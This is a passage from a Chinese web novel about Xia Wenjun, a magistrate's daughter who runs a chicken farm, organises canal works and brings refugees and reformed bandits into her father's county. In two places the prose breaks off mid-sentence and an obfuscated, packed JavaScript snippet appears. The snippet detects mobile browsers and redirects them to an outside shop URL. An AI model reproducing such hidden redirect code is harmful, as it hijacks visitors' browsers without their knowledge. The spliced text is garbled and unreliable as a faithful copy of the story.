在山上也是要干活的,去了庄子里,疤二娘等人很快就适应过来了。唯一不适应的,就是吃穿了。 作为鸡场的员工,天天都能吃上鸡,炒鸡蛋,煮毛蛋,烤小鸡,连吃几天,吃得疤二娘几人心里怂怂的。 “主家是请我们来养鸡。不是请我们来吃鸡的啊。” 疤二娘小心翼翼的跟管事询问,“我们养死这么多小鸡,不会有什么问题吗?” “我算过了,现在这小鸡的折损率是正常的。天气还没转暖,小鸡是不太好活。 ”管事安慰道:“放心吧,不会扣你们工钱的。只是奖金比较少。” “那就好。” 疤二娘松了一口气,但很快,她的心又提起来了。 因为管事一脸郑重的说道:“你还算机灵。但你侄孙不行,他算数算到一百,脑子就乱了。以后咱们这片荒山要养上千只鸡,你侄孙要是算数不行,可干不了养鸡的活。” “回头我一定好好教育他!” “你?你其实也就会数个数。让你算一下鸡场的鸡每日需要煮多少粮食,你也犯迷糊。” 管事指点道:“守着鸡场的人少,但桑园那边人多,主家就在那边安排了小先生,教算数还有简单的识字。你傍晚带几个孩子过去学,学一段时间就机灵了。两边离得也不远,你天黑前回来就行了。” “哎,好!今晚我就去。” 作为山上土匪的家属,疤二娘知道自己该低调行事。但夏文君带他们下山的时候,没特意叮嘱,不让她们随意走动。再加上桑园也是夏文君的产业,疤二娘就壮着胆子过去了。 不去不行啊,算数不好,就干不好夏文君安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14305083|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排的工作,这也是个大问题。 但到桑园那边蹭课的时候,别人一问,听她说是鸡场的,就没人管她了。 “今天你先去找老师借凳子,下次记得自己带的凳子来,纸笔也自备啊。” “唉唉,知道了。” 养鸡场工人的身份,就像是一个保护符,没人在意她们是不是生面孔,也不会特意打听她们是哪儿的人。 近日折腾桑园和甘蔗园,夏文君从平安郡的农庄调了很多人过来帮忙。 上河村的人对他们本来就不熟,都是生面孔,多疤二娘她们几个,根本就没谁在意。 下山不过两三天的功夫,疤二娘就找回来以前在村里的感觉。 “真好啊,就像是回到了当土匪前。那个时候,我还没成一个毒妇,手里一条人命都没有。” 她侄女更是补充道:“是挺好,比以前还好。以前别说沾荤腥了,连肚子都填不饱。” 忐忑的情绪消失,如今她们都想在这里好好生活。 抱着这样的期待,她们对庄子的安全,格外上心。傍晚在教室学算术,听说上河村最近不太安全的时候,她们的耳朵立刻就支楞起来了。 “为什么不安全?怎么了?发生什么事了?”上了两三天课,这还是疤二娘第一次主动跟人打听情况。 “鸡场那边偏僻。你白天在那边干活,可能没听说。”一位大姐热心的说道:“夏娘子之前提议,要重新休整上河村周边的水渠。这几天她都带着人上山下河,勘察周边的水脉,今天下午,她就在河边发现了两个鬼鬼祟祟的人。抓住一审,居然是土匪!” “啊!土匪!”疤二娘惊讶的瞪大眼睛,不敢置信的说道:“不可能吧。” “你刚来,你可能不知道。去年年底,李家张家都被抢了。这过了年,土匪粮食吃光了,肯定又想着下山了。打听到咱们村新来的夏娘子有钱,又是种桑种甘蔗,又是养鸡养鸭的,可不就盯上了吗?” “这土匪盯上了夏娘子。也不知道我们上河村会不会受牵连。” 听着大家的讨论,疤二娘感觉脑子有点转不过来了。她下山的时候,可没听说周边有什么说得出名号的寨子。唯一有名的,就他们白骨寨了。 可大水不可能去冲龙王庙。白骨寨抢谁,也不可能抢夏文君的产业啊。 就在疤二娘还没想明白时候,第二天一早,她正喂鸡呢,远远的就看到一队人走过,领头的两个人都骑着高头大马,正是夏文君兄妹。 他们身后,跟着的都是衙役。 瞧见他们巡逻的身影,上河村的人立马就兴奋了。 “太好了,我们有救了!衙门的人来了。” 夏云林这个县令,听说女儿的庄子被土匪盯上,行动迅速,立刻派出了两百衙役,分成十个小队,轮流在上河村附近巡逻。 念着裴家捐的二十贯钱,裴家周边,夏云林也分了两个小队过去。这种特殊照顾,让裴家主心里熨贴的很。 其他大户知道土匪还在虎视眈眈,也不敢端着,立刻就准备去衙门送钱。 他们也想要至尊级的巡逻服务。 面对来送钱的家主们,夏云林用最窝囊的语气,说出了最伤人心的话。 以前是以前,现在是现在。现在,得加钱! 二十贯钱不行了,现在捐钱,至少五十贯起。 22.第 22 章 家里单独养几百个不种地,不织布,不创造生产价值,就纯溜达的巡逻护卫,那价格太贵了,一般家庭承担不起。 所以县里的家族都选择了集资,一起养县里的衙役。钱一到位,县衙的衙役队伍,瞬间膨胀到了一千人。 那么多队衙役,在县内交叉巡逻,仙河县的安全性,一下子就提升了。 “每天骑着大马,带着人在县里巡视,还挺有意思的。”夏文轩觉得自己这模样,格外的威风,满足的说道:“其实在县里做个小县尉也不错,手底下也有那么多人呢。” “二哥你可别瞎说,你要真这么干了。大伯会骂死你的。 ”夏文君不给人留一丝幻想的说道:“大伯不会允许你干降低夏家格调的事。否则就等着被除族吧。” 县衙里,仵作,小吏,衙役都是有编制的,往上还有县丞、主簿、典史,这些职位拿出去能唬住普通人,但在世家眼里不够看。 夏家族人一旦去任职这些职位,家族仅剩的一点逼格就没了。城中的大人,也不会再举荐夏家人做官。 这次夏云林能上位,也是因为他有‘清名’,家里也还能拿得出手。县令的职位虽然不高,但也是一地主官,正合适夏云林如今的情况。 要是夏家的逼格太低,夏云林给再多钱,王大人为了自己的面子,也不会推举夏云林,怕丢人。 所以大家宁愿闲着,做‘名士’,也不愿意去做那些鄙视链底端的小官,真做了,就一辈子也爬不起来了,还影响家中小辈的前途。 过于扭曲的上升通道,被压在下面的人,就没有不疯的。 夏文君觉得,自己只是看着情绪稳定,其实私底下已经疯了很久了。 要不然她也干不出,在银江郡当搅屎棍,在山上养土匪的事。因为上辈子,祖国妈妈的家教真的挺严的。 坏事不能想,会越想越烦。夏文君‘驾’的一声,骑着马就一路往前狂飙,企图把烦心事抛在脑后。 “妹妹你等等啊,妹妹,你跑那么快做什么?”夏文轩赶紧追上。 夏文君大声回道:“你不用跟着我。我去上河村处理修水渠的事情,今天他们又闹起来了。” “那我继续巡逻了,你路上小心点。” 夏文君没有回答,只是举起马鞭晃了晃,示意自己知道了。 上河村和周边几个村子的水渠规划,夏文君早早的就已经画好了图纸,实地勘察的时候,各村的村长都陪同一起,路线规划好之后,夏文君还仔细和各村的村长讲解过。 水渠该从哪里过,各村的村长都知道。可村长们私心重,和官府的小吏合作的时候,出的主意都很偏颇,省力的地方,安排自己村的人,费劲的地方,安排别村的人。 服役的村民也一样,修自己村地界的水渠时,都很卖力,修到别的村的时候,就没那么上心。 明明这四通八达的水渠是一个整体,随便那个地方出了问题,其他地方都好不了。 而且夏文君也能感受到,周边村子的人,都很期待这个新修的水渠。 可干活的时候,就是容易闹矛盾。 只要有人闹事拖延进度,夏文君对谁都不客气,每次她一到现场,做错事的人,都讨不了好。 县衙的小吏忍不住跟夏云林告状,“六娘子不许我们用鞭子打人,服役的村民哪里会听我们管。可这一出事,六娘子却打我们棍子。我们也冤啊。” 不需要知道过程,夏云林就直接下结论,“你们肯定不冤。” 小吏惊呆了,“啊,可是…… ” “六娘罚你们,自然有她的道理。她不让你们用鞭子打人,你们听就是了。”夏云林也摸不透自家女儿的脾气,觉得夏文君该狠的时候软,该软的时候狠。 但夏文君的话都说出口了,他只能替夏文君把台面撑起来。 基层的工作难做,道理很难讲通。 用鞭子就方便了,不用说废话,不听话的人,抽就完事儿了。 鞭子真抽下去,人人都是老实人。 这么做方便,但却不是夏文君的做事理念。 服役的百姓不是她的下属,人家服役的时候,连口粮都是自备的,服完一个月的劳役,他们就可以回家了,双方的身份并没有太大的差别。 她如果有了点小小的权利,就把普通百姓当做牛马奴役。真正掌握这个王朝权利的皇族和世家,岂不是也能把她当做牛马。 但赶着去救过几次火,夏文君被逼急了,也不怕麻烦了,直接把所有服役的人混编,分成甲队,乙队,丙队…… 每一个队伍各负责一段水渠,干完了一段,又往前面挪,管理后勤和器具的府衙小吏则跟着大部队,一直处在中间的位置。 这么干,计算量是大大增加,但争执少了。 甲队乙队同时修路这种数学题,小学的时候夏文君都已经算到麻木了,但还是挺为难县衙的小吏的,她只能派自家婢女出马,从旁协助。 忙活了一个月,终于把几个村子周边的水渠修好,夏文君简直是狠狠的松了一口气。 “全都是刁民!没一个省心的,见到他们就烦。这段时间,我连上河村我都不想去了。”在夏文君看来,和一群精英勾心斗角,绝对比做一群猪队友的领导舒服。 瞧着夏文君那副解脱的模样,夏云林还有些好笑。 “你不待见那群村民。村民们倒是挺喜欢你的。昨天和你一起去街上,不是还有人给你送橘子吗?那橘子我吃了,真的很甜。” 夏文君一脸嫌弃,“送果子的那个,是下河村的刺头。修渠的时候,我还罚过他五棍子。干活的时候捣乱,干完活了,知道献殷勤了。晚了。” “人家可不是献殷勤。有果子不送我这个县令,只巴巴的送给你,可见是真心敬你。”夏云林安慰道:“百姓都知道好歹。你为人正直,处事公正,他们都看在眼里。” “我为人正直?这话也就父亲你能说出口。” “你这孩子本来打小就心善。” 父女俩正说着话呢,花月容的马车就回来了,一见面,她就说道:“今日去郡城,听到消息,朝廷已经下令征讨叛军。消息传到我们这儿,大军估计前两日就已经出动。可能过几天,这消息就该传遍银江郡。” “这都拖了半年了,平叛的大军可算是来了。这朝廷的效率,可真够慢的。”预料之中的事情,夏文君听到了也没什么好惊讶的。 只是她心里隐隐还是有点可惜。年年都有地方叛乱,但年年都没给朝廷留下什么致命伤害。 没点刻骨铭心的教训,没有王朝可能会颠覆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14315133|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 危机,皇座上的那位,怎么能学得乖呢。 夏文君问道:“朝廷的大军都要来了,平安郡有了靠山,我们仙河县可以不用拒收银江郡逃来的难民了吧?” “是,王大人松口了。”花月容忍不住眉开眼笑,说道:“过两日等公文下来,你山上养的那群人,也都能下山了。朝廷官兵一来,他们在山上也不安全。” 夏云林也松了口气,吐槽道:“我还以为王大人真不知好歹呢,原来还是明白事理的嘛。我这都磨了一个月了,好说歹说,王大人就是不同意接收银江郡难民。大靠山一来,不用我说,他自己就点头了。比我还怂。” 银江郡的人性子太野,王大人觉得拿捏不住。怕把人放进平安郡,把平安郡也给带乱了。 隔壁郡守的脑袋,在城墙上挂了好久。王大人能不害怕嘛。 但腿长在人家身上,哪里管得住。平安郡不让人进城,但夏文君兄妹带着衙役在县内巡逻的时候,还是找出来很多银江郡逃过来的难民。 银江郡内流窜的小股土匪太多了,平安郡至少安全。有点心眼的,都想来平安郡躲一躲。 巡逻的时候,逮了拢共五六百人,夏文君就把人分散的送去修水渠去了,县衙只管饭,不给工钱。 没有过所文书,私自乱跑的人,按照律法,严重的可能会被施以绞刑、流刑。 但银江郡如今情况特殊,平安郡的官员们,也不敢乱罚,怕把银江郡来的人惹急了。 夏云林不仅不敢罚,还几次跟王大人建议,收容这些难民。 这些难民,如果收拢到仙河县,那他们就能成为仙河县的盾。 如果把人拒之城外,任由他们发展壮大,说不定他们就能变成攻打仙河县的矛。 他们仙河县,真的很危险啊!夏云林给王大人写的信,言辞恳切,“县中如今的境况,危如累卵,让下官心急如焚,彻夜难眠……” 为了体现自己的心焦,信纸还被泪滴打湿。 当然,这都是装的。 因为收容难民,需要钱粮。谁家下属是嬉皮笑脸的问着领导要经费的,经费都是哭穷哭来的。 “爹,你继续跟朝廷要钱粮支援。我去山上一趟,稳稳人心,免得知道朝廷大军要来,一个个都慌了。” 夏文君一边往外走,一边说道:“而且两百人太少了,我得想想办法,借此机会,多招揽些人。” “如今你爹是县令了,你想带多少人下山就带多少人下山。”夏云林抬起下巴,骄傲的说道:“你就放手去折腾。你的事,爹给你兜着。” “好,谢谢爹。” 夏云林都这么说了,夏文君也没客气。 去白骨寨待了半个月,回来的时候,她直接带了两千人下山从良。 听到这个消息,夏云林差点从椅子上滑下来,震惊的问道:“仙河县一共才五万人。你一次就给我整两千人回来?两千人啊!你从哪儿搞来的!你是人贩子吗?” “爹,你稳重点。我下山的时候,还精简过人员呢,品行不端的,我都踢出去了。” 夏文君一脸淡定的说道:“我特意算过了,仙河县如今的财务情况,两千人而已,您兜得住。” 听到这话,夏云林轻轻闭眼,表情安详。他的好女儿安排亲爹是有一手的。